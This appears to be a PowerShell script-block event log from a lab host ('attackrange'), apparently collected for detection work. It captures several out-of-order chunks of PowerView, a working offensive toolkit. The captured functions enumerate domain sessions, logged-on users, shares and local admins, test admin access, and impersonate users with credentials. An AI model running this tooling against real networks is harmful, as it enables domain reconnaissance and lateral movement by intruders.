@WmiArguments # extract out the SIDs of domain users in this hive $UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } ForEach ($UserSID in $UserSIDs) { try { if ($PSBoundParameters['Credential']) { $UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential } else { $UserName = ConvertFrom-SID -ObjectSid $UserSID } # pull out all the cached RDP connections $ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames ForEach ($Connection in $ConnectionKeys) { # make sure this key is a cached connection ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989525 Keywords=None Message=Creating Scriptblock text (45 of 61): ality on a remote target. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf .DESCRIPTION This function will execute the WTSEnumerateSessionsEx and WTSQuerySessionInformation Win32API calls to query a given RDP remote service for active sessions and originating IPs. This is a replacement for qwinsta. .PARAMETER ComputerName Specifies the hostname to query for active sessions (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system using Invoke-UserImpersonation. .EXAMPLE Get-NetRDPSession Returns active RDP/terminal sessions on the local host. .EXAMPLE Get-NetRDPSession -ComputerName "sqlserver" Returns active RDP/terminal sessions on the 'sqlserver' host. .EXAMPLE Get-DomainController | Get-NetRDPSession Returns active RDP/terminal sessions on all domain controllers. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-NetRDPSession -ComputerName sqlserver -Credential $Cred .OUTPUTS PowerView.RDPSessionInfo A PSCustomObject representing a combined WTS_SESSION_INFO_1 and WTS_CLIENT_ADDRESS structure, with the ComputerName added. .LINK https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx #> [OutputType('PowerView.RDPSessionInfo')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { if ($PSBoundParameters['Credential']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } } PROCESS { ForEach ($Computer in $ComputerName) { # open up a handle to the Remote Desktop Session host $Handle = $Wtsapi32::WTSOpenServerEx($Computer) # if we get a non-zero handle back, everything was successful if ($Handle -ne 0) { # arguments for WTSEnumerateSessionsEx $ppSessionInfo = [IntPtr]::Zero $pCount = 0 # get information on all current sessions $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() # locate the offset of the initial intPtr $Offset = $ppSessionInfo.ToInt64() if (($Result -ne 0) -and ($Offset -gt 0)) { # work out how much to increment the pointer by finding out the size of the structure $Increment = $WTS_SESSION_INFO_1::GetSize() # parse all the result structures for ($i = 0; ($i -lt $pCount); $i++) { # create a new int ptr at the given offset and cast the pointer as our result structure $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset $Info = $NewIntPtr -as $WTS_SESSION_INFO_1 $RDPSession = New-Object PSObject if ($Info.pHostName) { $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName } else { # if no hostname returned, use the specified hostname $RDPSession | Add-Member Noteproperty 'ComputerName' $Computer } $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) { # if a domain isn't returned just use the username $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)" } else { $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)" } $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID $RDPSession | Add-Member Noteproperty 'State' $Info.State $ppBuffer = [IntPtr]::Zero $pBytesReturned = 0 # query for the source client IP with WTSQuerySessionInformation # https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned);$LastError2 = [Runtime.InteropServices.Marshal]::GetLastWin32Error() if ($Result2 -eq 0) { Write-Verbose "[Get-NetRDPSession] Error: $(([ComponentModel.Win32Exception] $LastError2).Message)" } else { $Offset2 = $ppBuffer.ToInt64() $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2 $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS $SourceIP = $Info2.Address if ($SourceIP[2] -ne 0) { $SourceIP = [String]$SourceIP[2]+'.'+[String]$SourceIP[3]+'.'+[String]$SourceIP[4]+'.'+[String]$SourceIP[5] } else { $SourceIP = $Null } $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP $RDPSession.PSObject.TypeNames.Insert(0, 'PowerView.RDPSessionInfo') $RDPSession # free up the memory buffer $Null = $Wtsapi32::WTSFreeMemory($ppBuffer) $Offset += $Increment } } # free up the memory result buffer $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount) } else { Write-Verbose "[Get-NetRDPSession] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" } # close off the service handle $Null = $Wtsapi32::WTSCloseServer($Handle) } else { Write-Verbose "[Get-NetRDPSession] Error opening the Remote Desktop Session Host (RD Session Host) server for: $ComputerName" } } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Test-AdminAccess { <# .SYNOPSIS Tests if the current user has administrative access to the local (or a remote) machine. Idea stolen from the local_admin_search_enum post module in Metasploit written by: 'Brandon McCann "zeknox" ' 'Thomas McCarthy "smilingraccoon" ' 'Royce Davis "r3dy" ' Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf .DESCRIPTION This function will use the OpenSCManagerW Win32API call to establish a handle to the remote host. If this succeeds, the current user context has local administrator acess to the target. .PARAMETER ComputerName Specifies the hostname to check for local admin access (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system using Invoke-UserImpersonation. .EXAMPLE Test-AdminAccess -ComputerName sqlserver Returns results indicating whether the current user has admin access to the 'sqlserver' host. .EXAMPLE Get-DomainComputer | Test-AdminAccess Returns what machines in the domain the current user has access to. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Test-AdminAccess -ComputerName sqlserver -Credential $Cred .OUTPUTS PowerView.AdminAccess A PSCustomObject containing the ComputerName and 'IsAdmin' set to whether the current user has local admin rights, along with the ComputerName added. .LINK https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ #> [OutputType('PowerView.AdminAccess')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { if ($PSBoundParameters['Credential']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } } PROCESS { ForEach ($Computer in $ComputerName) { # 0xF003F - SC_MANAGER_ALL_ACCESS # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx $Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() $IsAdmin = New-Object PSObject $IsAdmin | Add-Member Noteproperty 'ComputerName' $Computer # if we get a non-zero handle back, everything was successful if ($Handle -ne 0) { $Null = $Advapi32::CloseServiceHandle($Handle) $IsAdmin | Add-Member Noteproperty 'IsAdmin' $True } else { Write-Verbose "[Test-AdminAccess] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" $IsAdmin | Add-Member Noteproperty 'IsAdmin' $False } $IsAdmin.PSObject.TypeNames.Insert(0, 'PowerView.AdminAccess') $IsAdmin } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Get-NetComputerSiteName { <# .SYNOPSIS Returns the AD site where the local (or a remote) machine resides. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf .DESCRIPTION This function will use the DsGetSiteName Win32API call to look up the name of the site where a specified computer resides. .PARAMETER ComputerName Specifies the hostname to check the site for (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system using Invoke-UserImpersonation. .EXAMPLE Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local Returns the site for WINDOWS1.testlab.local. .EXAMPLE Get-DomainComputer | Get-NetComputerSiteName Returns the sites for every machine in AD. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local -Credential $Cred .OUTPUTS PowerView.ComputerSite A PSCustomObject containing the ComputerName, IPAddress, and associated Site name. #> [OutputType('PowerView.ComputerSite')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribu ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989524 Keywords=None Message=Creating Scriptblock text (44 of 61): are] Error: $(([ComponentModel.Win32Exception] $Result).Message)" } } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Get-NetLoggedon { <# .SYNOPSIS Returns users logged on the local (or a remote) machine. Note: administrative rights needed for newer Windows OSes. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf .DESCRIPTION This function will execute the NetWkstaUserEnum Win32API call to query a given host for actively logged on users. .PARAMETER ComputerName Specifies the hostname to query for logged on users (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system using Invoke-UserImpersonation. .EXAMPLE Get-NetLoggedon Returns users actively logged onto the local host. .EXAMPLE Get-NetLoggedon -ComputerName sqlserver Returns users actively logged onto the 'sqlserver' host. .EXAMPLE Get-DomainComputer | Get-NetLoggedon Returns all logged on users for all computers in the domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-NetLoggedon -ComputerName sqlserver -Credential $Cred .OUTPUTS PowerView.LoggedOnUserInfo A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including the UserName/LogonDomain/AuthDomains/LogonServer for each user, with the ComputerName added. .LINK http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ #> [OutputType('PowerView.LoggedOnUserInfo')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { if ($PSBoundParameters['Credential']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } } PROCESS { ForEach ($Computer in $ComputerName) { # declare the reference variables $QueryLevel = 1 $PtrInfo = [IntPtr]::Zero $EntriesRead = 0 $TotalRead = 0 $ResumeHandle = 0 # get logged on user information $Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) # locate the offset of the initial intPtr $Offset = $PtrInfo.ToInt64() # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { # work out how much to increment the pointer by finding out the size of the structure $Increment = $WKSTA_USER_INFO_1::GetSize() # parse all the result structures for ($i = 0; ($i -lt $EntriesRead); $i++) { # create a new int ptr at the given offset and cast the pointer as our result structure $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset $Info = $NewIntPtr -as $WKSTA_USER_INFO_1 # return all the sections of the structure - have to do it this way for V2 $LoggedOn = $Info | Select-Object * $LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer $LoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LoggedOnUserInfo') $Offset = $NewIntPtr.ToInt64() $Offset += $Increment $LoggedOn } # free up the result buffer $Null = $Netapi32::NetApiBufferFree($PtrInfo) } else { Write-Verbose "[Get-NetLoggedon] Error: $(([ComponentModel.Win32Exception] $Result).Message)" } } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Get-NetSession { <# .SYNOPSIS Returns session information for the local (or a remote) machine. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf .DESCRIPTION This function will execute the NetSessionEnum Win32API call to query a given host for active sessions. .PARAMETER ComputerName Specifies the hostname to query for sessions (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system using Invoke-UserImpersonation. .EXAMPLE Get-NetSession Returns active sessions on the local host. .EXAMPLE Get-NetSession -ComputerName sqlserver Returns active sessions on the 'sqlserver' host. .EXAMPLE Get-DomainController | Get-NetSession Returns active sessions on all domain controllers. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-NetSession -ComputerName sqlserver -Credential $Cred .OUTPUTS PowerView.SessionInfo A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including the CName/UserName/Time/IdleTime for each session, with the ComputerName added. .LINK http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ #> [OutputType('PowerView.SessionInfo')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { if ($PSBoundParameters['Credential']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } } PROCESS { ForEach ($Computer in $ComputerName) { # arguments for NetSessionEnum $QueryLevel = 10 $PtrInfo = [IntPtr]::Zero $EntriesRead = 0 $TotalRead = 0 $ResumeHandle = 0 # get session information $Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) # locate the offset of the initial intPtr $Offset = $PtrInfo.ToInt64() # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { # work out how much to increment the pointer by finding out the size of the structure $Increment = $SESSION_INFO_10::GetSize() # parse all the result structures for ($i = 0; ($i -lt $EntriesRead); $i++) { # create a new int ptr at the given offset and cast the pointer as our result structure $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset $Info = $NewIntPtr -as $SESSION_INFO_10 # return all the sections of the structure - have to do it this way for V2 $Session = $Info | Select-Object * $Session | Add-Member Noteproperty 'ComputerName' $Computer $Session.PSObject.TypeNames.Insert(0, 'PowerView.SessionInfo') $Offset = $NewIntPtr.ToInt64() $Offset += $Increment $Session } # free up the result buffer $Null = $Netapi32::NetApiBufferFree($PtrInfo) } else { Write-Verbose "[Get-NetSession] Error: $(([ComponentModel.Win32Exception] $Result).Message)" } } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Get-RegLoggedOn { <# .SYNOPSIS Returns who is logged onto the local (or a remote) machine through enumeration of remote registry keys. Note: This function requires only domain user rights on the machine you're enumerating, but remote registry must be enabled. Author: Matt Kelly (@BreakersAll) License: BSD 3-Clause Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, ConvertFrom-SID .DESCRIPTION This function will query the HKU registry values to retrieve the local logged on users SID and then attempt and reverse it. Adapted technique from Sysinternal's PSLoggedOn script. Benefit over using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges required (NetWkstaUserEnum requires remote admin access). .PARAMETER ComputerName Specifies the hostname to query for remote registry values (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system using Invoke-UserImpersonation. .EXAMPLE Get-RegLoggedOn Returns users actively logged onto the local host. .EXAMPLE Get-RegLoggedOn -ComputerName sqlserver Returns users actively logged onto the 'sqlserver' host. .EXAMPLE Get-DomainController | Get-RegLoggedOn Returns users actively logged on all domain controllers. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-RegLoggedOn -ComputerName sqlserver -Credential $Cred .OUTPUTS PowerView.RegLoggedOnUser A PSCustomObject including the UserDomain/UserName/UserSID of each actively logged on user, with the ComputerName added. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.RegLoggedOnUser')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost' ) BEGIN { if ($PSBoundParameters['Credential']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } } PROCESS { ForEach ($Computer in $ComputerName) { try { # retrieve HKU remote registry values $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName") # sort out bogus sid's like _class $Reg.GetSubKeyNames() | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } | ForEach-Object { $UserName = ConvertFrom-SID -ObjectSID $_ -OutputType 'DomainSimple' if ($UserName) { $UserName, $UserDomain = $UserName.Split('@') } else { $UserName = $_ $UserDomain = $Null } $RegLoggedOnUser = New-Object PSObject $RegLoggedOnUser | Add-Member Noteproperty 'ComputerName' "$ComputerName" $RegLoggedOnUser | Add-Member Noteproperty 'UserDomain' $UserDomain $RegLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName $RegLoggedOnUser | Add-Member Noteproperty 'UserSID' $_ $RegLoggedOnUser.PSObject.TypeNames.Insert(0, 'PowerView.RegLoggedOnUser') $RegLoggedOnUser } } catch { Write-Verbose "[Get-RegLoggedOn] Error opening remote registry on '$ComputerName' : $_" } } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Get-NetRDPSession { <# .SYNOPSIS Returns remote desktop/session information for the local (or a remote) machine. Note: only members of the Administrators or Account Operators local group can successfully execute this function ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989523 Keywords=None Message=Creating Scriptblock text (43 of 61): ate the offset of the initial intPtr $Offset = $PtrInfo.ToInt64() $Members = @() # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { # Work out how much to increment the pointer by finding out the size of the structure $Increment = $LOCALGROUP_MEMBERS_INFO_2::GetSize() # parse all the result structures for ($i = 0; ($i -lt $EntriesRead); $i++) { # create a new int ptr at the given offset and cast the pointer as our result structure $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset $Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2 $Offset = $NewIntPtr.ToInt64() $Offset += $Increment $SidString = '' $Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() if ($Result2 -eq 0) { Write-Verbose "[Get-NetLocalGroupMember] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" } else { $Member = New-Object PSObject $Member | Add-Member Noteproperty 'ComputerName' $Computer $Member | Add-Member Noteproperty 'GroupName' $GroupName $Member | Add-Member Noteproperty 'MemberName' $Info.lgrmi2_domainandname $Member | Add-Member Noteproperty 'SID' $SidString $IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup') $Member | Add-Member Noteproperty 'IsGroup' $IsGroup $Member.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroupMember.API') $Members += $Member } } # free up the result buffer $Null = $Netapi32::NetApiBufferFree($PtrInfo) # try to extract out the machine SID by using the -500 account as a reference $MachineSid = $Members | Where-Object {$_.SID -match '.*-500' -or ($_.SID -match '.*-501')} | Select-Object -Expand SID if ($MachineSid) { $MachineSid = $MachineSid.Substring(0, $MachineSid.LastIndexOf('-')) $Members | ForEach-Object { if ($_.SID -match $MachineSid) { $_ | Add-Member Noteproperty 'IsDomain' $False } else { $_ | Add-Member Noteproperty 'IsDomain' $True } } } else { $Members | ForEach-Object { if ($_.SID -notmatch 'S-1-5-21') { $_ | Add-Member Noteproperty 'IsDomain' $False } else { $_ | Add-Member Noteproperty 'IsDomain' 'UNKNOWN' } } } $Members } else { Write-Verbose "[Get-NetLocalGroupMember] Error: $(([ComponentModel.Win32Exception] $Result).Message)" } } else { # otherwise we're using the WinNT service provider try { $GroupProvider = [ADSI]"WinNT://$Computer/$GroupName,group" $GroupProvider.psbase.Invoke('Members') | ForEach-Object { $Member = New-Object PSObject $Member | Add-Member Noteproperty 'ComputerName' $Computer $Member | Add-Member Noteproperty 'GroupName' $GroupName $LocalUser = ([ADSI]$_) $AdsPath = $LocalUser.InvokeGet('AdsPath').Replace('WinNT://', '') $IsGroup = ($LocalUser.SchemaClassName -like 'group') if(([regex]::Matches($AdsPath, '/')).count -eq 1) { # DOMAIN\user $MemberIsDomain = $True $Name = $AdsPath.Replace('/', '\') } else { # DOMAIN\machine\user $MemberIsDomain = $False $Name = $AdsPath.Substring($AdsPath.IndexOf('/')+1).Replace('/', '\') } $Member | Add-Member Noteproperty 'AccountName' $Name $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value) $Member | Add-Member Noteproperty 'IsGroup' $IsGroup $Member | Add-Member Noteproperty 'IsDomain' $MemberIsDomain # if ($MemberIsDomain) { # # translate the binary sid to a string # $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value) # $Member | Add-Member Noteproperty 'Description' '' # $Member | Add-Member Noteproperty 'Disabled' '' # if ($IsGroup) { # $Member | Add-Member Noteproperty 'LastLogin' '' # } # else { # try { # $Member | Add-Member Noteproperty 'LastLogin' $LocalUser.InvokeGet('LastLogin') # } # catch { # $Member | Add-Member Noteproperty 'LastLogin' '' # } # } # $Member | Add-Member Noteproperty 'PwdLastSet' '' # $Member | Add-Member Noteproperty 'PwdExpired' '' # $Member | Add-Member Noteproperty 'UserFlags' '' # } # else { # # translate the binary sid to a string # $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value) # $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description) # if ($IsGroup) { # $Member | Add-Member Noteproperty 'PwdLastSet' '' # $Member | Add-Member Noteproperty 'PwdExpired' '' # $Member | Add-Member Noteproperty 'UserFlags' '' # $Member | Add-Member Noteproperty 'Disabled' '' # $Member | Add-Member Noteproperty 'LastLogin' '' # } # else { # $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0])) # $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1') # $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] ) # # UAC flags of 0x2 mean the account is disabled # $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.UserFlags.value -band 2) -eq 2) # try { # $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0]) # } # catch { # $Member | Add-Member Noteproperty 'LastLogin' '' # } # } # } $Member } } catch { Write-Verbose "[Get-NetLocalGroupMember] Error for $Computer : $_" } } } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Get-NetShare { <# .SYNOPSIS Returns open shares on the local (or a remote) machine. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf .DESCRIPTION This function will execute the NetShareEnum Win32API call to query a given host for open shares. This is a replacement for "net share \\hostname". .PARAMETER ComputerName Specifies the hostname to query for shares (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system using Invoke-UserImpersonation. .EXAMPLE Get-NetShare Returns active shares on the local host. .EXAMPLE Get-NetShare -ComputerName sqlserver Returns active shares on the 'sqlserver' host .EXAMPLE Get-DomainComputer | Get-NetShare Returns all shares for all computers in the domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-NetShare -ComputerName sqlserver -Credential $Cred .OUTPUTS PowerView.ShareInfo A PSCustomObject representing a SHARE_INFO_1 structure, including the name/type/remark for each share, with the ComputerName added. .LINK http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ #> [OutputType('PowerView.ShareInfo')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { if ($PSBoundParameters['Credential']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } } PROCESS { ForEach ($Computer in $ComputerName) { # arguments for NetShareEnum $QueryLevel = 1 $PtrInfo = [IntPtr]::Zero $EntriesRead = 0 $TotalRead = 0 $ResumeHandle = 0 # get the raw share information $Result = $Netapi32::NetShareEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) # locate the offset of the initial intPtr $Offset = $PtrInfo.ToInt64() # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { # work out how much to increment the pointer by finding out the size of the structure $Increment = $SHARE_INFO_1::GetSize() # parse all the result structures for ($i = 0; ($i -lt $EntriesRead); $i++) { # create a new int ptr at the given offset and cast the pointer as our result structure $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset $Info = $NewIntPtr -as $SHARE_INFO_1 # return all the sections of the structure - have to do it this way for V2 $Share = $Info | Select-Object * $Share | Add-Member Noteproperty 'ComputerName' $Computer $Share.PSObject.TypeNames.Insert(0, 'PowerView.ShareInfo') $Offset = $NewIntPtr.ToInt64() $Offset += $Increment $Share } # free up the result buffer $Null = $Netapi32::NetApiBufferFree($PtrInfo) } else { Write-Verbose "[Get-NetSh ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989522 Keywords=None Message=Creating Scriptblock text (42 of 61): RAMETER ComputerName Specifies the hostname to query for sessions (also accepts IP addresses). Defaults to the localhost. .PARAMETER Method The collection method to use, defaults to 'API', also accepts 'WinNT'. .PARAMETER Credential A 